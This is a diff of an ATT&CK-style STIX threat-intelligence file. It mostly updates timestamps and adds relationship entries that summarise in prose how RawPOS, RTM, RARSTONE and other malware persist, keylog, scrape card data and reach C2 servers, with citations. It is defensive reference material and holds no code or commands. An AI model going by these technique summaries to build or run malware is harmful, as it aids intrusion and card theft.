             "id": "relationship--c93bb2b9-bd22-4e14-b884-2141168387b2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon creates various subdirectories under <code>%Temp%\\reports\\%</code> and copies files to those subdirectories. It also creates a folder at <code>C:\\Users\\<Username>\\AppData\\Roaming\\Microsoft\\store</code> to store screenshot JPEG files.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
@@ -47919,7 +57133,7 @@
             "id": "relationship--acc40539-13a0-4577-a862-e348962bf0fc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon exfiltrates screenshot files to its C2 server.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
@@ -47940,7 +57154,7 @@
             "id": "relationship--50f39180-6e5a-476b-b18f-d4e09e83c9d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon can use HTTP for C2.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
@@ -47961,7 +57175,7 @@
             "id": "relationship--4bf364ad-1e9c-4860-93c0-241da4c81068",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RARSTONE downloads its backdoor component from a C2 server and loads it directly into memory.",
             "source_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831",
@@ -47982,7 +57196,7 @@
             "id": "relationship--345c6135-7557-4292-8214-66618ba17edd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RARSTONE uses SSL to encrypt its communication with its C2 server.",
             "source_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831",
@@ -48003,7 +57217,7 @@
             "id": "relationship--22a75bbf-5490-40cb-bdb7-a0eda5e95d21",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After decrypting itself in memory, RARSTONE downloads a DLL file from its C2 server and loads it in the memory space of a hidden Internet Explorer process. This \u201cdownloaded\u201d file is actually not dropped onto the system.",
             "source_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831",
@@ -48024,7 +57238,7 @@
             "id": "relationship--35ec37ba-44aa-49b1-9379-3f6070554c62",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RARSTONE obtains installer properties from Uninstall Registry Key entries to obtain information about installed applications and how to uninstall certain applications.",
             "source_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831",
@@ -48045,7 +57259,7 @@
             "id": "relationship--fb6a804a-1929-4c13-a78d-1cf724c09e77",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RIPTIDE is a RAT that communicates with HTTP.",
             "source_ref": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e",
@@ -48066,7 +57280,7 @@
             "id": "relationship--c4ce39f8-371c-45dd-a8d2-a411a6f0678d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT12 has used RIPTIDE, a RAT that uses HTTP to communicate.",
             "source_ref": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e",
@@ -48087,7 +57301,7 @@
             "id": "relationship--c945e5f2-5622-46ce-8b35-468d41d2af46",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT12 has used the RIPTIDE RAT, which communicates over HTTP with a payload encrypted with RC4.",
             "source_ref": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e",
@@ -48108,7 +57322,7 @@
             "id": "relationship--44b56e08-7cd1-442c-8806-c69bb65fd231",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ROCKBOOT is a Master Boot Record (MBR) bootkit that uses the MBR to establish persistence.",
             "source_ref": "malware--cba78a1c-186f-4112-9e6a-be1839f030f7",
@@ -48129,7 +57343,7 @@
             "id": "relationship--6b0b404e-7e1b-4f8f-8b78-85016f36f8e9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM samples have been signed with a code-signing certificates.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48150,7 +57364,7 @@
             "id": "relationship--b258b8da-ddd2-4f0e-b5da-83a89f018d54",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM runs its core DLL file using rundll32.exe.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48171,7 +57385,7 @@
             "id": "relationship--1ca68d88-a287-4c48-a4f8-68611eceb445",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM uses the command line and rundll32.exe to execute.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48192,7 +57406,7 @@
             "id": "relationship--37dd9a3c-dd52-4541-be7c-b490d026305c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM tries to add a Registry Run key under the name \"Windows Update\" to establish persistence.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48213,7 +57427,7 @@
             "id": "relationship--84e0c62b-b1a6-4ecd-8607-f0b516cb48f6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM tries to add a scheduled task to establish persistence.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48234,7 +57448,7 @@
             "id": "relationship--d5c86dd3-3cfa-4ade-8984-fdf079b9f81b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM strings, network data, configuration, and modules are encrypted with a modified RC4 algorithm.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48255,7 +57469,7 @@
             "id": "relationship--865a5b25-6908-4ad9-a81d-33f3cf48e357",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM uses HTTP POST requests with data formatted using a custom protocol.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48276,7 +57490,7 @@
             "id": "relationship--87fb2671-e71a-4630-bde2-67e546fdeaa6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM encrypts C2 traffic with a custom RC4 variant.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48297,7 +57511,7 @@
             "id": "relationship--c839344c-a96d-412f-bded-5ac7c8fd446a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can download additional files.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48318,7 +57532,7 @@
             "id": "relationship--af74c0ec-0bbe-4538-a3a3-1e967afd3d51",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can add a certificate to the Windows store.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48339,7 +57553,7 @@
             "id": "relationship--4c3890f0-378d-4cef-8db7-0258161ff3f7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can obtain the victim time zone.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48360,7 +57574,7 @@
             "id": "relationship--aad1cfa0-0df0-4768-87c2-5e59da2c5e44",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can obtain the victim username and permissions.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48381,7 +57595,7 @@
             "id": "relationship--c6606ced-4641-451f-ac2a-493b1d15d0aa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can obtain the computer name, OS version, and default language identifier.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48402,7 +57616,7 @@
             "id": "relationship--f0cf3ea2-5345-48d7-9685-be0180eb0e4a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can obtain information about process integrity levels.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48423,7 +57637,7 @@
             "id": "relationship--d7903e1f-f31c-48bc-b7c3-3616cb1a792f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can obtain information about security software on the victim.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48444,7 +57658,7 @@
             "id": "relationship--45f9e4b6-a6a0-4f9f-aae9-9e8a69f5681d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can obtain a list of smart card readers attached to the victim.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48465,7 +57679,7 @@
             "id": "relationship--d412ff4a-d9d0-44a9-b8b3-36a650f18036",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can scan victim drives to look for specific banking software on the machine to determine next actions. It also looks at browsing history and open tabs for specific strings.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48486,7 +57700,7 @@
             "id": "relationship--a83182d2-b619-4ca4-984b-21ecfe43da26",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM monitors browsing activity and automatically captures screenshots if a victim browses to a URL matching one of a list of strings.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48507,7 +57721,7 @@
             "id": "relationship--f6d23c00-158e-4e39-bf9b-f18344cd0151",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can capture screenshots.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48528,7 +57742,7 @@
             "id": "relationship--23e2dc58-4b8d-48d8-82fd-d051892a7d58",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can record keystrokes from both the keyboard and virtual keyboard.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48549,7 +57763,7 @@
             "id": "relationship--fe4ed27a-6d45-4e6a-bbc0-7ebe15a38046",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can delete all files created during its execution.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48570,7 +57784,7 @@
             "id": "relationship--94b4de9a-1f83-4923-8d4b-e9bafdb1bef9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can delete all Registry entries created during its execution.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48591,7 +57805,7 @@
             "id": "relationship--0d0b4507-b600-41f1-be98-03909e5d99cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can attempt to run the program as admin, then show a fake error message and a legitimate UAC bypass prompt to the user in an attempt to socially engineer the user into escalating privileges.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48612,7 +57826,7 @@
             "id": "relationship--1e03e95c-1c9a-4fa8-9d6d-b5d244b06509",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM collects data from the clipboard.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48633,7 +57847,7 @@
             "id": "relationship--81cfd1fd-999b-4730-b5dc-363d367dd92e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM has the ability to remove Registry entries that it created during execution.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
@@ -48649,12 +57863,401 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--d0b2e189-e764-44ec-9373-2f23212f6a45",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "RawPOS installs itself as a service to maintain persistence.",
+            "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090",
+            "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Kroll RawPOS Jan 2017",
+                    "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017."
+                },
+                {
+                    "source_name": "TrendMicro RawPOS April 2015",
+                    "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017."
+                },
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--37aa4e22-824b-468c-ae46-d9d007cc7cc7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "New services created by RawPOS are made to appear like legitimate Windows services, with names such as \"Windows Management Help Service\", \"Microsoft Support\", and \"Windows Advanced Task Manager\".",
+            "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090",
+            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Kroll RawPOS Jan 2017",
+                    "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017."
+                },
+                {
+                    "source_name": "TrendMicro RawPOS April 2015",
+                    "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017."
+                },
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--92fb7408-1638-43b7-95a3-0cfeebd7624d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "RawPOS dumps memory from specific processes on a victim system, parses the dumped files, and scrapes them for credit card data.",
+            "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090",
+            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Kroll RawPOS Jan 2017",
+                    "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017."
+                },
+                {
+                    "source_name": "TrendMicro RawPOS April 2015",
+                    "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017."
+                },
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--53ad6525-7888-4651-bd43-c010b489ccc0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "RawPOS encodes credit card data it collected from the victim with XOR.",
+            "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090",
+            "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "TrendMicro RawPOS April 2015",
+                    "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017."
+                },
+                {
+                    "source_name": "Visa RawPOS March 2015",
+                    "description": "Visa. (2015, March). Visa Security Alert: \"RawPOS\" Malware Targeting Lodging Merchants. Retrieved October 6, 2017.",
+                    "url": "https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf"
+                },
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--b25f5d90-f6cc-47e9-89f1-5527886bf536",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Data captured by RawPOS is placed in a temporary file under a directory named \"memdump\".",
+            "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090",
+            "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Kroll RawPOS Jan 2017",
+                    "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017."
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--797131cf-fef9-4ece-823f-e931393e72f8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Some  variants use HTTP for C2.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--67f82f6c-18f1-4f1e-8352-b7ecf8839ea2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Some  variants use raw TCP for C2.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--3dcf441c-b987-4c6a-93e7-e24ae1e16475",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "creates a shortcut file and saves it in a Startup folder to establish persistence.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--0fee8bfd-aec2-44a7-8182-530a648006f3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "creates a shortcut file and saves it in a Startup folder to establish persistence.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--5077f774-95a4-459e-b88c-cb3a4dd5c8c6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
